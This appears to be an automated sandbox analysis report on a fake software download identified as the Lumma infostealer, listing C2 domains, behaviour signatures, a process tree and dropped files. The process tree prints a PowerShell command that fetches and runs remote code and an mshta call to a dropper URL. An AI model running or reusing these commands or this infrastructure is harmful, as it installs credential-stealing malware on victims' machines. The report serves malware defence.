Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    29/04/2026, 17:14

General

  • Target
    cx-programmer 9.1 free download full.exe
  • Size 2.2MB
  • Sample260429-vr61sshx6k
  • SHA256 a3d5651526901f3b2752ec485b840b8dc5cc4fce872d5c19d795be9be255fde7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://springvc.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cx-programmer 9.1 free download full.exe
    "C:\Users\Admin\AppData\Local\Temp\cx-programmer 9.1 free download full.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=926D2366BD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
      2⤵
      • Drops file in Windows directory
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4040
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbca0bc728,0x7ffbca0bc734,0x7ffbca0bc740
        3⤵
          PID:1240
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,6585650050005579299,5322954996342481228,262144 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1900 /prefetch:2
          3⤵
            PID:2772
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1460,i,16935016014231969197,11449495943890735745,524288 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2140 /prefetch:11
            3⤵
            • System Time Discovery
            PID:1056
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2408,i,10799955430333677185,3174806218965407472,524288 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2568 /prefetch:13
            3⤵
              PID:784
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3180,i,6655499817792315230,10247776187380876915,2097152 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3188 /prefetch:1
              3⤵
                PID:1432
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3204,i,3588080307259253899,5333208839589103146,2097152 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3224 /prefetch:1
                3⤵
                  PID:3272
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4200,i,4776740595183232305,7758443089381189336,2097152 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4220 /prefetch:9
                  3⤵
                    PID:3872
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,6500959944280268907,16156633197614398178,524288 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4184 /prefetch:12
                    3⤵
                      PID:4132
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5416,i,17250685652708996740,13771245319193642673,524288 --field-trial-handle=1920,i,16783016971455427541,817844343509931690,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5424 /prefetch:14
                      3⤵
                        PID:3604
                    • C:\Windows\SYSTEM32\mshta.exe
                      mshta.exe https://snconor.vg
                      2⤵
                      • Badlisted process makes network request
                      • Modifies Internet Explorer settings
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2708
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:1696
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:628
                      • C:\Windows\system32\mshta.exe
                        mshta.exe
                        1⤵
                          PID:5072
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -ep Bypass -Command "Invoke-`RestMethod https://google-services.cc/falsepositive.txt | `Invoke-`Expression"
                          1⤵
                          • Process spawned unexpected child process
                          • Badlisted process makes network request
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1520

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              BookmarkMergedSurfaceOrdering

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                              • Size 6B
                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                              • MD5 SHA1 SHA512

                              SCT Auditing Pending Reports

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                              • Size 2B
                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                              • MD5 SHA1 SHA512

                              Web Data

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                              • Size 138KB
                              • SHA256 8e8c0113c7606c7daee0c8a7b3040d5af54db33ca595cd7dcf6d38ecd8d8c9ff
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Last Version

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                              • Size 13B
                              • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                              • MD5 SHA1 SHA512

                              Local State

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              • Size 90KB
                              • SHA256 df9240aa772ed2e261bd0bb64c82fe0ccc765663fe44c6447a73f3241a2b3154
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              __PSScriptPolicyTest_g4b5mrka.50w.ps1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4b5mrka.50w.ps1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              memory/1120-55-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-51-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-69-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-73-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-72-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-71-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-70-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-68-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-67-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-66-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-65-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-64-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-62-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-61-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-60-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-59-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-58-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-57-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-56-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-63-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-54-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-53-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-52-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-74-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-50-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-49-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-48-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-47-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-46-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-45-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-44-0x0000000000400000-0x000000000045F000-memory.dmp

                              memory/1120-43-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-41-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-40-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-39-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-38-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-42-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-37-0x0000000023AB0000-0x0000000023AB1000-memory.dmp

                              memory/1120-86-0x00000000232F0000-0x00000000233EE000-memory.dmp

                              memory/1120-0-0x0000000000400000-0x000000000045F000-memory.dmp

                              memory/1520-98-0x000001F731FA0000-0x000001F731FC2000-memory.dmp

                              memory/1520-108-0x000001F732700000-0x000001F7328C2000-memory.dmp

                              memory/1520-111-0x000001F719B00000-0x000001F719B0C000-memory.dmp

                              memory/1520-113-0x000001F719B60000-0x000001F719B72000-memory.dmp

                              memory/1520-114-0x000001F731F60000-0x000001F731F68000-memory.dmp

                              memory/1520-112-0x000001F731E70000-0x000001F731F5A000-memory.dmp

                              memory/2708-107-0x000001F2A6A20000-0x000001F2A6A2C000-memory.dmp

                              memory/2708-106-0x000001F2A66D0000-0x000001F2A67BA000-memory.dmp